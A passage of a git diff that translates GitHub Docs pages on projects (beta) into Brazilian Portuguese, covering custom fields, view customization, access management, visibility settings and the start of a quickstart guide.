-Alternatively, you can do this in the UI:
+Como alternativa, você pode fazer isso na interface do usuário:
 
-1. Click {% octicon "plus" aria-label="the plus icon" %} in the rightmost field header. A drop-down menu with the project fields will appear.
-   ![Show or hide fields](/assets/images/help/issues/projects_fields_menu.png)
-2. Select the field(s) that you want to display or hide. A {% octicon "check" aria-label="check icon" %} indicates which fields are displayed.
+1. Clique em {% octicon "plus" aria-label="the plus icon" %} no cabeçalho mais à direita. Será exibido um menu suspenso com os campos do projeto. ![Exibir ou ocultar campos](/assets/images/help/issues/projects_fields_menu.png)
+2. Selecione o(s) campo(s) que você deseja exibir ou ocultar. Um {% octicon "check" aria-label="check icon" %} indica quais campos serão exibidos.
 
-### Adding custom fields
+### Adicionando campos personalizados
 
-You can add custom fields to your project. Custom fields will display on the side bar of issues and pull requests in the project.
+Você pode adicionar campos personalizados ao seu projeto. Campos personalizados serão exibidos na barra lateral de problemas e pull requests no projeto.
 
-Custom fields can be text, number, date, single select, or iteration:
+Os campos personalizados podem ser texto, número, data, seleção única ou iteração:
 
-- Text: The value can be any text.
-- Number: The value must be a number.
-- Date: The value must be a date.
-- Single select: The value must be selected from a set of specified values.
-- Iteration: The value must be selected from a set of date ranges (iterations). Iterations in the past are automatically marked as "completed", and the iteration covering the current date range is marked as "current".
+- Texto: O valor pode ser qualquer texto.
+- Número: O valor deve ser um número.
+- Data: O valor deve ser uma data.
+- Seleção única: O valor deve ser selecionado a partir de um conjunto de valores especificados.
+- Iteração: O valor deve ser selecionado a partir de um conjunto de intervalos de datas (iterações). As iterações anteriores são automaticamente marcadas como "concluídas", e a iteração que cobre o intervalo de datas atual é marcada como "atual".
 
-1. {% data reusables.projects.open-command-palette %} Start typing any part of "Create new field". When "Create new field" displays in the command palette, select it.
-2. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} in the rightmost field header. A drop-down menu with the project fields will appear. Click **New field**.
-3. A popup will appear for you to enter information about the new field.
-   ![New field](/assets/images/help/issues/projects_new_field.png)
-4. In the text box, enter a name for the new field.
-5. Select the dropdown menu and click the desired type.
-6. If you specified **Single select** as the type, enter the options.
-7. If you specified **Iteration** as the type, enter the start date of the first iteration and the duration of the iteration. Three iterations are automatically created, and you can add additional iterations on the project's settings page.
+1. {% data reusables.projects.open-command-palette %} Comece a digitar qualquer parte de "Criar novo campo". Quando "Criar novo campo" for exibido na paleta de comandos, selecione-o.
+2. Como alternativa, clique em {% octicon "plus" aria-label="the plus icon" %} no cabeçalho do campo mais à direita. Será exibido um menu suspenso com os campos do projeto. Clique em **Novo campo**.
+3. Uma janela pop-up irá aparecer para inserir informações sobre o novo campo. ![Novo campo](/assets/images/help/issues/projects_new_field.png)
+4. Na caixa de texto, digite um nome para o novo campo.
+5. Selecione o menu suspenso e clique no tipo desejado.
+6. Se você especificou **Seleção única** como o tipo, insira as opções.
+7. Se você especificou **Iteração** como o tipo, digite a data de início da primeira iteração e a duração da iteração. Três iterações são criadas automaticamente, e você pode adicionar iterações adicionais na página de configurações do projeto.
 
-You can later edit the drop down options for single select and iteration fields.
+Posteriormente, você poderá editar as opções de seleção única e iteração de campos.
 
 {% data reusables.projects.project-settings %}
-1. Under **Fields**, select the field that you want to edit.
-1. For single select fields, you can add, delete, or reorder the options.
-2. For iteration fields, you can add or delete iterations, change iteration names, and change the start date and duration of the iteration.
+1. Em **Campos**, selecione o campo que deseja editar.
+1. Para campos de seleção única, você pode adicionar, excluir ou reordenar as opções.
+2. Para campos de iteração, você pode adicionar ou excluir as iterações, alterar nomes da iteração e alterar a data e a duração de início da iteração.
 
-## Customizing your views
+## Personalizando as suas visualizações
 
-You can view your project as a table or board, group items by field, filter item, and more. For more information, see "[Customizing your project (beta) views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)."
+Você pode ver seu projeto como uma tabela ou quadro, agrupar itens por campo, filtrar itens e muito mais. Para obter mais informações, consulte "[Personalizar as visualizações do seu projeto (beta)](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)".
 
-## Configuring built-in automation
+## Configurando a automação integrada
 
 {% data reusables.projects.about-workflows %}
 
-You can enable or disable the built-in workflows for your project.
+Você pode habilitar ou desabilitar os fluxos de trabalho internos para o seu projeto.
 
 {% data reusables.projects.enable-basic-workflow %}
diff --git a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md
index 4b879741b9..acbc5ee4e1 100644
--- a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md
+++ b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md
@@ -1,6 +1,6 @@
 ---
-title: Customizing your project (beta) views
-intro: 'Display the information you need by changing the layout, grouping, sorting, and filters in your project.'
+title: Personalizando as visualizações do seu projeto (beta)
+intro: 'Exibe as informações de que você precisa alterando o layout, agrupamento, ordenação e filtros no seu projeto.'
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -12,174 +12,174 @@ topics:
 
 {% data reusables.projects.projects-beta %}
 
-## Project command palette
+## Paleta de comandos do projeto
 
-Use the project command palette to quickly change settings and run commands in your project.
+Use a paleta de comandos do projeto para alterar rapidamente as configurações e executar comandos no seu projeto.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing any part of a command or navigate through the command palette window to find a command. See the next sections for more examples of commands.
+2. Comece a digitar qualquer parte de um comando ou navegue pela janela da paleta de comandos para encontrar um comando. Veja as próximas seções para mais exemplos de comandos.
 
-## Changing the project layout
+## Alterando o layout do projeto
 
-You can view your project as a table or as a board.
+Você pode visualizar o seu projeto como uma tabela ou como um quadro.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Switch layout".
-3. Choose the required command. For example, **Switch layout: Table**.
-3. Alternatively, click the drop-down menu next to a view name and click **Table** or **Board**.
+2. Comece a digitar "Alternar layout".
+3. Escolha o comando necessário. Por exemplo, **Switch layout: Table**.
+3. Como alternativa, clique no menu suspenso ao lado de um nome de exibição e clique em **Tabela** ou **Quadro**.
 
-## Showing and hiding fields
+## Exibindo e ocultando campos
 
-You can show or hide a specific field.
+Você pode mostrar ou ocultar um campo específico.
 
-In table layout:
+No layout de tabela:
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing the action you want to take ("show" or "hide") or the name of the field.
-3. Choose the required command. For example, **Show: Milestone**.
-4. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} to the right of the table. In the drop-down menu that appears, indicate which fields to show or hide. A {% octicon "check" aria-label="check icon" %} indicates which fields are displayed.
-5. Alternatively, click the drop-down menu next to the field name and click **Hide field**.
+2. Comece a digitar a ação que deseja realizar ("mostrar" ou "ocultar") ou o nome do campo.
+3. Escolha o comando necessário. Por exemplo, **Exibir: Marco**.
+4. Como alternativa, clique em {% octicon "plus" aria-label="the plus icon" %} à direita da tabela. No menu suspenso que aparece, indique quais campos mostrar ou ocultar. Um {% octicon "check" aria-label="check icon" %} indica quais campos serão exibidos.
+5. Como alternativa, clique no menu suspenso ao lado do nome do campo e clique em **Ocultar o campo**.
 
-In board layout:
+Layout do quadro:
 
-1. Click the drop-down menu next to the view name.
-2. Under **configuration**, click {% octicon "list-unordered" aria-label="the unordered list icon" %}.
-3. In the menu that's displayed, select fields to add them and deselect fields to remove them from the view.
+1. Clique no menu suspenso ao lado do nome da visualização.
+2. Em**Configuração**, clique em {% octicon "list-unordered" aria-label="the unordered list icon" %}.
+3. No menu exibido, selecione os campos para adicioná-los e desmarque os campos para removê-los do modo de exibição.
 
-## Reordering fields
+## Reordenando campos
 
-You can change the order of fields.
+Você pode alterar a ordem dos campos.
 
-1. Click the field header.
-2. While clicking, drag the field to the required location.
+1. Clique no cabeçalho do campo.
+2. Ao clicar, arraste o campo para a localização necessária.
 
-## Reordering rows
+## Reordenando linhas
 
-In table layout, you can change the order of rows.
+No layout da tabela, você pode alterar a ordem das linhas.
 
-1. Click the number at the start of the row.
-2. While clicking, drag the row to the required location.
+1. Clique no número no início da linha.
+2. Ao clicar, arraste a linha para a localização necessária.
 
-## Sorting by field values
+## Ordenação por valores do campo
 
-In table layout, you can sort items by a field value.
+No layout de tabela, você pode classificar itens por um valor de campo.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Sort by" or the name of the field you want to sort by.
-3. Choose the required command. For example, **Sort by: Assignees, asc**.
-4. Alternatively, click the drop-down menu next to the field name that you want to sort by and click **Sort ascending** or **Sort descending**.
+2. Comece a digitar "Ordenar por" ou o nome do campo que deseja ordenar.
+3. Escolha o comando necessário. Por exemplo, **Sort by: Assignees, asc**.
+4. Como alternativa, clique no menu suspenso ao lado do nome do campo que você deseja ordenar e clique em **Ordenação ascendente de** ou **Ordenação descendente **.
 
 {% note %}
 
-**Note:** When a table is sorted, you cannot manually reorder rows.
+**Observação:** Quando uma tabela é ordenada, você não pode reordenar manualmente as linhas.
 
 {% endnote %}
 
-Follow similar steps to remove a sort.
+Siga passos semelhantes para remover uma ordenação.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Remove sort-by".
-3. Choose **Remove sort-by**.
-4. Alternatively, click the drop-down menu next to the view name and click the menu item that indicates the current sort.
+2. Comece a digitar "Remover ordenação".
+3. Selecione **Remover ordenação por**.
+4. Como alternativa, clique no menu suspenso ao lado do nome da exibição e clique no item de menu que indica a classificação atual.
 
-## Grouping by field values
+## Agrupando por valores de campo
 
-In the table layout, you can group items by a custom field value. When items are grouped, if you drag an item to a new group, the value of that group is applied. For example, if you group by "Status" and then drag an item with a status of `In progress` to the `Done` group, the status of the item will switch to `Done`.
+No layout da tabela, você pode agrupar os itens por um valor de campo personalizado. Quando os itens são agrupados, se você arrastar um item para um novo grupo, será aplicado o valor desse grupo. Por exemplo, se você agrupar por "Status" e, em seguida, arrastar um item com um status de `Em andamento` para o grupo `Concluído` o status do item mudará para `Concluído`.
 
 {% note %}
 
-**Note:** Currently, you cannot group by title, assignees, repository or labels.
+**Observação:** Atualmente, você não pode agrupar por título, responsáveis, repositório ou etiquetas.
 
 {% endnote %}
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Group by" or the name of the field you want to group by.
-3. Choose the required command. For example, **Group by: Status**.
-4. Alternatively, click the drop-down menu next to the field name that you want to group by and click **Group by values**.
+2. Comece a digitar "Agrupar por" ou o nome do campo que você deseja agrupar.
+3. Escolha o comando necessário. Por exemplo, **Agrupar por: Status**.
+4. Como alternativa, clique no menu suspenso ao lado do nome do campo que você deseja agrupar e clique em **Agrupar por valores**.
 
-Follow similar steps to remove a grouping.
+Siga as etapas semelhantes para remover um agrupamento.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Remove group-by".
-3. Choose **Remove group-by**.
-4. Alternatively, click the drop-down menu next to the view name and click the menu item that indicates the current grouping.
+2. Comece a digitar "Remover agrupamento".
+3. Selecione **Remover agrupar por**.
+4. Como alternativa, clique no menu suspenso ao lado do nome da visualização e clique no item de menu que indique o agrupamento atual.
 
-## Filtering rows
+## Filtrando linhas
 
-Click {% octicon "search" aria-label="the search icon" %} at the top of the table to show the "Filter by keyword or field" bar. Start typing the field name and value that you want to filter by. As you type, possible values will appear.
+Clique em {% octicon "search" aria-label="the search icon" %} na parte superior da tabela para mostrar a barra "Filtrar por palavra-chave ou campo". Comece a digitar o nome do campo e o valor que você deseja filtrar. À medida que você digita, serão exibidos os possíveis valores.
 
-- To filter for multiple values, separate the values with a comma. For example `label:"good first issue",bug` will list all issues with a label `good first issue` or `bug`.
-- To filter for the absence of a specific value, place `-` before your filter. For example, `-label:"bug"` will only show items that do not have the label `bug`.
-- To filter for the absence of all values, enter `no:` followed by the field name. For example, `no:assignee` will only show items that do not have an assignee.
-- To filter by state, enter `is:`. For example, `is: issue` or `is:open`.
-- Separate multiple filters with a space. For example, `status:"In progress" -label:"bug" no:assignee` will show only items that have a status of `In progress`, do not have the label `bug`, and do not have an assignee.
+- Para filtrar vários valores, separe os valores por uma vírgula. Por exemplo, `label:"good first issue",bug` irá listar todos os problemas com uma etiqueta `good first issue` ou `erro`.
+- Para filtrar pela ausência de um valor específico, insira `-` antes do seu filtro. Por exemplo, `-label:"bug"` mostrará apenas os itens que não têm a etiqueta `erro`.
+- Para filtrar pela ausência de todos os valores, digite `no:` seguido pelo nome do campo. Por exemplo, `no:assignee` irá mostrar apenas os itens que não têm um responsável.
+- Para filtrar por status, digite `is:`. Por exemplo, `is: issue` ou `is:open`.
+- Separe vários filtros com um espaço. Por exemplo, `status:"In progress" -label:"bug" no:assignee` irá mostrar somente os itens que têm um status de `In progress`, não têm a etiqueta `erro` e não têm um responsável.
 
-Alternatively, use the command palette.
+Como alternativa, use a paleta de comando.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Filter by" or the name of the field you want to filter by.
-3. Choose the required command. For example, **Filter by Status**.
-4. Enter the value that you want to filter for. For example: "In progress". You can also filter for the absence of specific values (for example, choose "Exclude status" then choose a status) or the absence of all values (for example, "No status").
+2. Comece a digitar "Filtrar por" ou o nome do campo que você deseja filtrar.
+3. Escolha o comando necessário. Por exemplo, **Filtro por Status**.
+4. Digite o valor para o qual você deseja filtrar. Por exemplo: "Em andamento". Você também pode filtrar pela a ausência de valores específicos (por exemplo, escolha "Excluir status" e escolha um status) ou a ausência de todos os valores (por exemplo, "Sem status").
 
-In board layout, you can click on item data to filter for items with that value. For example, click on an assignee to show only items for that assignee. To remove the filter, click the item data again.
+No layout da tabela, você pode clicar nos dados de item para filtrar para itens com esse valor. Por exemplo, clique em um responsável para mostrar apenas itens para ele. Para remover o filtro, clique nos dados do item novamente.
 
-## Creating a project view
+## Criando uma visualização do projeto
 
-Project views allow you to quickly view specific aspects of your project. Each view is displayed on a separate tab in your project. 
+As visualizações do projeto permitem que você visualize rapidamente os aspectos específicos do seu projeto. Cada visualização é exibida em uma guia separada no seu projeto.
 
-For example, you can have:
-- A view that shows all items not yet started (filter on "Status").
-- A view that shows the workload for each team (group by a custom "Team" field).
-- A view that shows the items with the earliest target ship date (sort by a date field).
+Por exemplo, você pode ter:
+- Uma visualização que mostra todos os itens ainda não iniciados (filtro de "Status").
+- Uma exibição que mostra a carga de trabalho para cada equipe (agrupar por um campo personalizado de "Equipe").
+- Uma visualização que mostra itens com a data mais antiga de envio (classificar por um campo de data).
 
-To add a new view:
+Para adicionar uma nova visualização:
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "New view" (to create a new view) or "Duplicate view" (to duplicate the current view).
-3. Choose the required command.
-4. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} **New view** next to the rightmost view.
-5. Alternatively, click the drop-down menu next to a view name and click **Duplicate view**.
+2. Comece a digitar "Nova visualização" (para criar uma nova visualização) ou "Duplicar visualização" (para duplicar a visualização atual).
+3. Escolha o comando necessário.
+4. Como alternativa, clique em {% octicon "plus" aria-label="the plus icon" %} **Nova Visualização** ao lado da visualização mais à direita.
+5. Como alternativa, clique no menu suspenso ao lado de um nome de exibição e clique em **Duplicar visualização**.
 
-The new view is automatically saved.
+A nova visualização é salva automaticamente.
 
-## Saving changes to a view
+## Salvando alterações em uma visualização
 
-When you make changes to a view - for example, sorting, reordering, filtering, or grouping the data in a view - a dot is displayed next to the view name to indicate that there are unsaved changes. 
+Ao fazer alterações a uma visualização como, por exemplo, ordenação, reordenação, filtragem ou agrupamento de dados em uma visualização, será exibido um ponto ao lado do nome da visualização para indicar que existem alterações não salvas.
 
-![Unsaved changes indicator](/assets/images/help/projects/unsaved-changes.png)
+![Indicador de alterações não salvas](/assets/images/help/projects/unsaved-changes.png)
 
-If you don't want to save the changes, you can ignore this indicator. No one else will see your changes.
+Se você não desejar salvar as alterações, você poderá ignorar este indicador. Ninguém mais verá as suas alterações.
 
-To save the current configuration of the view for all project members:
+Para salvar a configuração atual da exibição para todos os integrantes do projeto:
 1. {% data reusables.projects.open-command-palette %}
-1. Start typing "Save view" or "Save changes to new view".
-1. Choose the required command.
-1. Alternatively, click the drop-down menu next to a view name and click **Save view** or **Save changes to new view**.
+1. Comece a digitar "Salvar visualização" ou "Salvar alterações na nova visualização".
+1. Escolha o comando necessário.
+1. Como alternativa, clique no menu suspenso ao lado de um nome de exibição e clique em **Salvar visualização** ou **Salvar alterações para a nova visualização**.
 
-## Reordering saved views
+## Reordenando as visualizações salvas
 
-To change the order of the tabs that contain your saved views, click and drag a tab to a new location.
+Para alterar a ordem das abas que contêm as exibições salvas, clique e arraste uma aba para um novo local.
 
-The new tab order is automatically saved.
+A nova ordem da aba é salva automaticamente.
 
-## Renaming a saved view
+## Renomeando uma visualização salva
 
-To rename a view:
-1. Double click the name in the project tab.
-1. Change the name.
-1. Press Enter, or click outside of the tab.
+Para renomear uma visualização:
+1. Clique duas vezes no nome na aba do projeto.
+1. Altere o nome.
+1. Pressione Enter ou clique fora da aba.
 
-The name change is automatically saved.
+A alteração de nome será salva automaticamente.
 
-## Deleting a saved view
+## Excluindo uma visualização salva
 
-To delete a view:
+Para excluir uma visualização:
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Delete view".
-3. Choose the required command.
-4. Alternatively, click the drop-down menu next to a view name and click **Delete view**.
+2. Comece a digitar "Excluir visualização".
+3. Escolha o comando necessário.
+4. Como alternativa, clique no menu suspenso ao lado do nome de uma visualização e clique em **Excluir visualização**.
 
-## Further reading
+## Leia mais
 
-- "[About projects (beta)](/issues/trying-out-the-new-projects-experience/about-projects)"
-- "[Creating a project (beta)](/issues/trying-out-the-new-projects-experience/creating-a-project)"
+- "[Sobre projetos (beta)](/issues/trying-out-the-new-projects-experience/about-projects)"
+- "[Criando um projeto (beta)](/issues/trying-out-the-new-projects-experience/creating-a-project)"
diff --git a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md
index 0e92893d8d..8a026342c0 100644
--- a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md
+++ b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to projects (beta)
-intro: 'You can control who can view, edit, or manage your projects.'
+title: Gerenciando acesso a projetos (beta)
+intro: 'Você pode controlar quem pode visualizar, editar ou gerenciar seus projetos.'
 allowTitleToDifferFromFilename: true
 miniTocMaxHeadingLevel: 2
 versions:
@@ -13,78 +13,78 @@ topics:
 
 {% data reusables.projects.projects-beta %}
 
-## About project access
+## Sobre o acesso ao projeto
 
-Admins of organization-level projects can manage access for the entire organization, for teams, and for individual organization members.
+Os administradores de projetos no nível da organização podem gerenciar acesso para toda a organização, para equipes e para integrantes da organização individual.
 
-Admins of user-level projects can invite individual collaborators and manage their access.
+Os administradores de projetos de nível de usuário podem convidar colaboradores individuais e gerenciar seu acesso.
 
-Project admins can also control the visibility of their project for everyone on the internet. For more information, see "[Managing the visibility of your projects](/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects)."
+Administradores do projeto também podem controlar a visibilidade do seu projeto para todos na internet. Para obter mais informações, consulte "[Gerenciando a visibilidade de seus projetos](/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects)".
 
-## Managing access for organization-level projects
+## Gerenciar acesso para projetos no nível da organização
 
-### Managing access for everyone in your organization
+### Gerenciando o acesso para todos na sua organização
 
-The default base role is `write`, meaning that everyone in the organization can see and edit your project. To change project access for everyone in the organization, you can change the base role. Changes to the base role only affect organization members who are not organization owners and who are not granted individual access.
+A função base padrão é `gravar`, o que significa que todos na organização podem ver e editar o seu projeto. Para alterar o acesso ao projeto para todos da organização, você pode alterar a função-base. As alterações na função-base afetam apenas os integrantes da organização que não são proprietários da organização e a quem não é concedido acesso individual.
 
 {% data reusables.projects.project-settings %}
-1. Click **Manage access**.
-2. Under **Base role**, select the default role.
-   - **No access**: Only organization owners and users granted individual access can see the project. Organization owners are also admins for the project.
-   - **Read**: Everyone in the organization can see the project. Organization owners are also admins for the project.
-   - **Write**: Everyone in the organization can see and edit the project. Organization owners are also admins for the project.
-   - **Admin**: Everyone in the organization is an admin for the project.
+1. Clique em **Gerenciar acesso**.
+2. Em **Função-base**, selecione a função-padrão.
+   - **Sem acesso**: Somente os proprietários e usuários da organização com acesso individual pode ver o projeto. Os proprietários da organização também são administradores do projeto.
+   - **Leitura**: Todos na organização podem ver o projeto. Os proprietários da organização também são administradores do projeto.
+   - **Gravação**: Todos os integrantes da organização podem ver e editar o projeto. Os proprietários da organização também são administradores do projeto.
+   - **Administrador**: Todos os integrantes da organização são administradores do projeto.
 
-### Managing access for teams and individual members of your organization
+### Gerenciando o acesso de equipes e integrantes individuais da sua organização
 
-You can also add teams, and individual organization members, as collaborators. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)."
+Você também pode adicionar equipes e integrantes das organizações individuais, como colaboradores. Para obter mais informações, consulte "[Sobre equipes](/organizations/organizing-members-into-teams/about-teams)".
 
-You can only invite an individual user to collaborate on your organization-level project if they are a member of the organization.
+Você só pode convidar um usuário individual para colaborar no seu projeto no nível da organização se ele for integrante da organização.
 
 {% data reusables.projects.project-settings %}
-1. Click **Manage access**.
-1. Under **Invite collaborators**, search for the team or organization member that you want to invite.
-1. Select the role for the collaborator.
-   - **Read**: The team or individual can view the project.
-   - **Write**: The team or individual can view and edit the project.
-   - **Admin**: The team or individual can view, edit, and add new collaborators to the project.
-1. Click **Invite**.
+1. Clique em **Gerenciar acesso**.
+1. Em **Convidar colaboradores**, pesquise o integrante da equipe ou organização que você deseja convidar.
+1. Selecione a função para o colaborador.
+   - **Leitura**: A equipe ou indivíduo pode visualizar o projeto.
+   - **Gravação**: A equipe ou indivíduo pode visualizar e editar o projeto.
+   - **Administrador**: A equipe ou indivíduo pode visualizar, editar e adicionar novos colaboradores ao projeto.
+1. Clique em **Convidar**.
 
-### Managing access of an existing collaborator on your project
+### Gerenciando o acesso de um colaborador existente no seu projeto
 
 {% data reusables.projects.project-settings %}
-1. Click **Manage access**.
-1. Under **Manage access**, find the collaborator(s) whose permissions you want to modify.
+1. Clique em **Gerenciar acesso**.
+1. Em **Gerenciar acesso**, encontre o(s) colaborador(es) cujas permissões você deseja modificar.
 
-   You can use the **Type** and **Role** drop-down menus to filter the access list.
+   Você pode usar o menu suspenso **Tipo** e **Função** para filtrar a lista de acesso.
 
-1. Edit the role for the collaborator(s) or click {% octicon "trash" aria-label="the trash icon" %} to remove the collaborator(s).
+1. Editar a função para o(s) colaborador(es) ou clique em {% octicon "trash" aria-label="the trash icon" %} para remover o colaborador.
 
-## Managing access for user-level projects
+## Gerenciando acesso para projetos no nível do usuário
 
-### Granting a collaborator access to your project
+### Concedendo acesso de colaborador ao seu projeto
 
 {% note %}
 
-This only affects collaborators for your project, not for repositories in your project. To view an item on the project, someone must have the required permissions for the repository that the item belongs to. If your project includes items from a private repository, people who are not collaborators in the repository will not be able to view items from that repository. For more information, see "[Setting repository visibility](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility)" and "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)."
+Isto afeta apenas os colaboradores do projeto, não os repositórios do projeto. Para visualizar um item no projeto, alguém deverá ter as permissões necessárias para o repositório ao qual o item pertence. Se o seu projeto incluir itens de um repositório privado, pessoas que não forem colaboradores no repositório não poderão visualizar os itens desse repositório. Para obter mais informações, consulte "[Configurando a visibilidade do repositório](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility)" e "[Gerenciando equipes e pessoas com acesso ao seu repositório](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)".
 
 {% endnote %}
 
 {% data reusables.projects.project-settings %}
-1. Click **Manage access**.
-2. Under **Invite collaborators**, search for the user that you want to invite.
-3. Select the role for the collaborator.
-   - **Read**: The individual can view the project.
-   - **Write**: The individual can view and edit the project.
-   - **Admin**: The individual can view, edit, and add new collaborators to the project.
-4. Click **Invite**.
+1. Clique em **Gerenciar acesso**.
+2. Em **Convidar colaboradores**, pesquise o usuário que você deseja convidar.
+3. Selecione a função para o colaborador.
+   - **Leitura**: O indivíduo pode visualizar o projeto.
+   - **Gravação**: O indivíduo pode visualizar e editar o projeto.
+   - **Administrador**: O indivíduo pode visualizar, editar e adicionar novos colaboradores ao projeto.
+4. Clique em **Convidar**.
 
-### Managing access of an existing collaborator on your project
+### Gerenciando o acesso de um colaborador existente no seu projeto
 
 {% data reusables.projects.project-settings %}
-1. Click **Manage access**.
-1. Under **Manage access**, find the collaborator(s) whose permissions you want to modify.
+1. Clique em **Gerenciar acesso**.
+1. Em **Gerenciar acesso**, encontre o(s) colaborador(es) cujas permissões você deseja modificar.
 
-   You can use the **Role** drop-down menu to filter the access list.
+   Você pode usar o menu suspenso **Função** para filtrar a lista de acesso.
 
-1. Edit the role for the collaborator(s) or click {% octicon "trash" aria-label="the trash icon" %} to remove the collaborator(s).
+1. Editar a função para o(s) colaborador(es) ou clique em {% octicon "trash" aria-label="the trash icon" %} para remover o colaborador.
diff --git a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects.md b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects.md
index a158b5d3ad..cd238e8017 100644
--- a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects.md
+++ b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects.md
@@ -1,6 +1,6 @@
 ---
-title: Managing the visibility of your projects (beta)
-intro: 'You can control who can view your projects.'
+title: Gerenciando a visibilidade dos seus projetos (beta)
+intro: Você pode controlar quem pode ver seus projetos.
 allowTitleToDifferFromFilename: true
 miniTocMaxHeadingLevel: 3
 versions:
@@ -13,19 +13,19 @@ topics:
 
 {% data reusables.projects.projects-beta %}
 
-## About project visibility
+## Sobre a visibilidade do projeto
 
-Projects (beta) can be public or private. For public projects, everyone on the internet can view the project. For private projects, only users granted at least read access can see the project.
+Os projetos (beta) podem ser públicos ou privados. Para projetos públicos, todos na Internet podem ver o projeto. Para projetos privados, apenas usuários concedidos pelo menos acessos de leitura podem ver o projeto.
 
-Only the project visibility is affected; to view an item on the project, someone must have the required permissions for the repository that the item belongs to. If your project includes items from a private repository, people who are not collaborators in the repository will not be able to view items from that repository.
+Apenas a visibilidade do projeto é afetada. Para ver um item no projeto, alguém deve ter as permissões necessárias para o repositório ao qual o item pertence. Se o seu projeto incluir itens de um repositório privado, pessoas que não forem colaboradores no repositório não poderão visualizar os itens desse repositório.
 
-![Project with hidden item](/assets/images/help/projects/hidden-items.png)
+![Projeto com item oculto](/assets/images/help/projects/hidden-items.png)
 
-Only project admins can control project visibility.
+Somente os administradores do projeto podem controlar a visibilidade do projeto.
 
-Project admins can also manage write and admin access to their project and control read access for individual users. For more information, see "[Managing access to projects](/issues/trying-out-the-new-projects-experience/managing-access-to-projects)."
+Os administradores do projeto também podem gerenciar o acesso de gravação e administração ao seu projeto e controlar o acesso de leitura para usuários individuais. Para obter mais informações, consulte "[Gerenciando o acesso aos projetos](/issues/trying-out-the-new-projects-experience/managing-access-to-projects)".
 
-## Changing project visibility
+## Alterando a visibilidade do projeto
 
 {% data reusables.projects.project-settings %}
-1. Under **Visibility**, select **Private** or **Public**.
+1. Em **Visibilidade**, selecione **Privado** ou **Público**.
diff --git a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/quickstart.md b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/quickstart.md
index 4b64c42f6a..6d5c1b296a 100644
--- a/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/quickstart.md
+++ b/translations/pt-BR/content/issues/trying-out-the-new-projects-experience/quickstart.md
@@ -1,6 +1,6 @@
 ---
-title: Quickstart for projects (beta)
-intro: 'Experience the speed, flexibility, and customization of projects (beta) by creating a project in this interactive guide.'
+title: Início rápido para projetos (beta)
+intro: 'Experimente a velocidade, flexibilidade e personalização de projetos (beta) criando um projeto neste guia interativo.'
 allowTitleToDifferFromFilename: true
 miniTocMaxHeadingLevel: 3
 versions:
@@ -13,142 +13,140 @@ topics:
 
 {% data reusables.projects.projects-beta %}
 
-## Introduction
+## Introdução
 
-This guide demonstrates how to use projects (beta) to plan and track work. In this guide, you will create a new project and add a custom field to track priorities for your tasks. You'll also learn how to create saved views that help you communicate priorities and progress with your collaborators.
+Este guia demonstra como usar projetos (beta) para planejar e acompanhar o trabalho. Neste guia, você irá criar um novo projeto e adicionar um campo personalizado para acompanhar as prioridades das suas tarefas. Você também aprenderá como criar visualizações salvas que ajudem a comunicar as prioridades e o progresso com seus colaboradores.
 
-## Prerequisites
+## Pré-requisitos
 
-You can either create an organization project or a user project. To create an organization project, you need a {% data variables.product.prodname_dotcom %} organization. For more information about creating an organization, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+Você pode criar um projeto de organização ou um projeto de usuário. Para criar um projeto de organização, você precisa de uma organização de {% data variables.product.prodname_dotcom %}. Para obter mais informações sobre a criação de uma organização, consulte "[Criar uma nova organização a partir do zero](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)".
 
-In this guide, you will add existing issues from repositories owned by your organization (for organization projects) or by you (for user projects) to your new project. For more information about creating issues, see "[Creating an issue](/issues/tracking-your-work-with-issues/creating-an-issue)."
